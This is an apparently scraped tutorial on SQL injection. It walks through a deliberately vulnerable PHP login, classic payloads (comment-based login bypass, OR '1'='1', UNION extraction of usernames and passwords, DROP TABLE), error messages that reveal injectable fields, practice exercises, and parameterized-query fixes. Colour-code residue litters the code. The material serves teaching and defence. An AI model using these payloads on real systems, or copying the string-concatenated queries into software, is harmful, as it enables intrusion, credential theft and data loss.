SQL Injection Fundamentals

1-- Imagine a table called 606070;">#a5d6ff;">"users" that looks like this:
2-- +----+----------+-----------+----------+
3-- | id | username | password  | role     |
4-- +----+----------+-----------+----------+
5-- | 1  | admin    | s3cr3t    | admin    |
6-- | 2  | alice    | pass123   | user     |
7-- | 3  | bob      | hunter2   | user     |
8-- +----+----------+-----------+----------+
9 
10-- To get all users:
11SELECT * FROM users;
12 
13-- To get just one user by username:
14SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice';
15 
16-- To get admin users:
17SELECT * FROM users WHERE role = 606070;">#a5d6ff;">'admin';

1606070;">// Vulnerable PHP code - DON'T DO THIS!
2$username = $_POST[606070;">#a5d6ff;">'username'];
3$password = $_POST[606070;">#a5d6ff;">'password'];
4 
5$query = 606070;">#a5d6ff;">"SELECT * FROM users WHERE username = '$username' AND password = '$password'";
6$result = mysqli_query($connection, $query);
7 
8606070;">// If we find a user, they're logged in!
9if (mysqli_num_rows($result) > 0) {
10    echo 606070;">#a5d6ff;">"Welcome!";
11    $_SESSION[606070;">#a5d6ff;">'loggedin'] = true;
12}

1-- The query becomes:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'admin' --' AND password = 'anything'
3 
4-- Let's break this down:
5-- 606070;">#a5d6ff;">'admin'           - We're searching for username 'admin'
6-- --                - In SQL, this starts a comment!
7-- ' AND password... - This is now commented out, completely ignored!
8 
9-- So the actual query executed is:
10SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'admin'
11 
12-- No password check! We're logged in as admin!

1-- Original query:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice' AND password = 'secret'
3 
4-- With our payload as the password:
5SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice' AND password = '' OR '1'='1'
6 
7-- Let's evaluate this:
8-- username = 606070;">#a5d6ff;">'alice' AND password = ''  →  FALSE (wrong password)
9-- 606070;">#a5d6ff;">'1'='1'                               →  TRUE (always!)
10-- FALSE OR TRUE                         →  TRUE
11 
12-- This returns ALL users! We might get logged in as the first user in the database
13-- (often the admin).

1-- Original query (searching for products):
2SELECT name, price FROM products WHERE category = 606070;">#a5d6ff;">'Electronics'
3 
4-- With our injection:
5SELECT name, price FROM products WHERE category = 606070;">#a5d6ff;">''
6UNION SELECT username, password FROM users --'
7 
8-- The result now includes:
9-- 1. Products in category 606070;">#a5d6ff;">'' (none, probably)
10-- 2. All usernames and passwords from the users table!

1-- Original query:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice'
3 
4-- With our malicious input:
5SELECT * FROM users WHERE username = 606070;">#a5d6ff;">''; DROP TABLE users; --'
6 
7-- This executes TWO queries:
8-- 1. SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'' (harmless)
9-- 2. DROP TABLE users (deletes the entire users table!)
10 
11-- This is sometimes called 606070;">#a5d6ff;">"Bobby Tables" after a famous XKCD comic.

1606070;"># MySQL
2You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
3 
4606070;"># PostgreSQL
5ERROR: syntax error at or near 606070;">#a5d6ff;">"'"
6 
7606070;"># Oracle
8ORA-00933: SQL command not properly ended
9 
10606070;"># SQL Server
11Unclosed quotation mark after the character string
12 
13606070;"># If you see any of these, SQL injection is likely possible!

Below is a vulnerable login query. Your goal is to modify the username input to bypass the password check and log in as 'admin'. The original query is: SELECT * FROM users WHERE username = '[INPUT]' AND password = 'wrongpassword' Your input replaces [INPUT]. Can you construct a payload that makes this query return the admin user, regardless of the password? Hint: You need to close the string, add a comment, and make sure the syntax is valid.

You've found a login form that's vulnerable to SQL injection. The backend query is: SELECT * FROM users WHERE username = '[username]' AND password = '[password]' Your mission: Log in as the user "administrator" without knowing the password. Assume you can only input in the username field (the password field is ignored due to frontend validation).

A product search page is vulnerable to SQL injection. The query looks like: SELECT name, price FROM products WHERE category = '[search]' The page displays the name and price of matching products. You want to extract the admin's password from a table called 'users' with columns 'username' and 'password'. Write a payload that would display the admin's credentials instead of products.

A website has a search function, but it doesn't show database errors. When you search for "test", you get results. When you search for "xyznonexistent", you get "No results found". Using boolean-based blind SQL injection, how would you confirm the vulnerability exists? Describe two payloads: one that should return results, and one that should return "No results".

1606070;">// VULNERABLE (string concatenation)
2$query = 606070;">#a5d6ff;">"SELECT * FROM users WHERE username = '$username' AND password = '$password'";
3$result = mysqli_query($connection, $query);
4 
5606070;">// SAFE (parameterized query)
6$stmt = $connection->prepare(606070;">#a5d6ff;">"SELECT * FROM users WHERE username = ? AND password = ?");
7$stmt->bind_param(606070;">#a5d6ff;">"ss", $username, $password);
8$stmt->execute();
9$result = $stmt->get_result();
10 
11606070;">// The ? placeholders are filled in by bind_param()
12606070;">// The database treats the parameters as DATA, not SQL commands
13606070;">// Even if username is "admin'--", it searches for the literal string "admin'--"

1606070;"># Python with SQLAlchemy (ORM approach)
2 
3606070;"># VULNERABLE
4query = f606070;">#a5d6ff;">"SELECT * FROM users WHERE username = '{username}'"
5result = connection.execute(query)
6 
7606070;"># SAFE (parameterized)
8query = 606070;">#a5d6ff;">"SELECT * FROM users WHERE username = :username"
9result = connection.execute(query, {606070;">#a5d6ff;">"username": username})
10 
11606070;"># ALSO SAFE (ORM)
12user = session.query(User).filter(User.username == username).first()